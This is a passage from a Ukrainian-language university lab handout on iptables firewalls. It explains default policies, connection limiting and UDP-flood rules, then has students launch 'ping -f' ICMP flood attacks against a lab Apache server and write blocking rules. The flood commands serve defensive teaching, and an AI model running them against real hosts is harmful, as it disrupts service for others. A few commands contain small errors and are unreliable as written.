# iptables -P FORWARD ACCEPT 
де -F - видалити (flush) усі правила;
-X - видалити ланцюжок;
-t table_name - вибрати таблицю (nat або mangle) і видалити усі правила;
-P - вибрати дії за замовчуванням (такі, як DROP, REJECT або ACCEPT). 
До усіх пакетів, які відносяться до вже встановлених з’єднань, застосовується термінальна дія ACCEPT — пропустити:
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
В якості дії для пакетів, що надходять, за замовчуванням встановлюється DROP — блокування пакету:
iptables -P INPUT DROP 
Наступне дозволяє усі пакети, що виходять:
iptables -P OUTPUT ACCEPT 
Тепер ланцюжок INPUT таблиці filter містить єдине правило, яке пропускає всі пакети, що стосуються вже встановлених з'єднань. До всіх інших вхідних пакетів буде застосовано стандартну дію — DROP. Ланцюжок OUTPUT взагалі не містить правил, тому до всіх вихідних пакетів застосовуватиметься дія за замовчуванням ACCEPT. Таким чином, хост, налаштований згідно з цим прикладом і підключений до Інтернету, буде недоступний ззовні (всі спроби встановити з'єднання зовні блокуються), проте з самого хоста доступ до Інтернету буде вільний (вихідні пакети дозволені, а відповіді на них уже відносяться до встановлених з'єднань).
4. При короткочасовому підвищені навантаження на web-сервер з боку зовнішньої мережі дієвими є:
- обмеження кількості з’єднань з однієї ІР адреси 
# iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 30 -j DROP
- блокування IP, наприклад, після 10 підключень до порту 80 на протязі 30 секунд 
# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent -- set
# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
5. При різкому збільшені вхідного UDP трафіку та виявлені вихідного трафіку з усіх відкритих UDP-портів, може вказувати на так званий UDP-Flood. Необхідно виставити обмеження на кількість підключень до відкритих портів і закрити порти, що не використовуються, за допомогою міжмережевих екранів. Додаються правила міжмережевого екрану:
- обмеження кількості підключень
# iptables -I INPUT -p udp --dport 53 -j DROP -m iplimit --iplimit-above 1 
- дозволити підключення тільки перевіреним IP-адресам, наприклад, 1.2.3.4
# iptables -A OUTPUT -p udp --dport 53 -d 1.2.3.4 -j ACCEPT
- блокування інших портів
# iptables -A OUTPUT -p udp -j DROP
Завдання до роботи 
1. Реалізуйте мережу, що показано на рисунку

На усіх комп’ютерах необхідно встановити або запустити ОС Linux
Налаштуйте робочі станції таким чином, щоб вони були у одній мережі, наприклад 192.168.1.0 маска 24 (255.255.255.0).
Перевірте утилітою ping зв’язок між комп’ютерами.
2. Встановіть, налаштуйте та запустіть на РС1 веб-сервер Арасhe
sudo apt-get install apache2
3. Запустіть на РС1 системний монітор і спостерігайте за навантаженням процесору та мережі. Послідовно з комп’ютерів РС 2 та РС 3 виконайте flood-атаку командою
# ping -f -с 100000 192.168.1.1 
Зафіксуйте навантаження (зробіть скрин-шот).
Повторіть flood-атаку командою
# ping -f -с 100000 -s 1000 192.168.1.1 
Зафіксуйте навантаження (зробіть скрин-шот).
4. Напишіть правило для іptables, що блокує такий тип flood-атак. Обґрунтуйте його і повторіть експеримет з фіксацією навантаження.
5. Підготуйте звіт. 
Контрольні питання
1 Що визначає «ПРАВИЛО» в iptables?
2 Що визначає «ЛАЦЮЖОК» в iptables?
3 Що визначає «ТАБЛИЦЯ» в iptables?
4 Назвіть базові ланцюжки та їх налаштування.
5 Яке правило виконується останнім?
6 Наведіть приклад «ПРАВИЛА» в iptables. 
7 Наведіть приклад «ЛАНЦЮЖКА» в iptables.
8 Наведіть приклад «ТАБЛИЦІ» в iptables.
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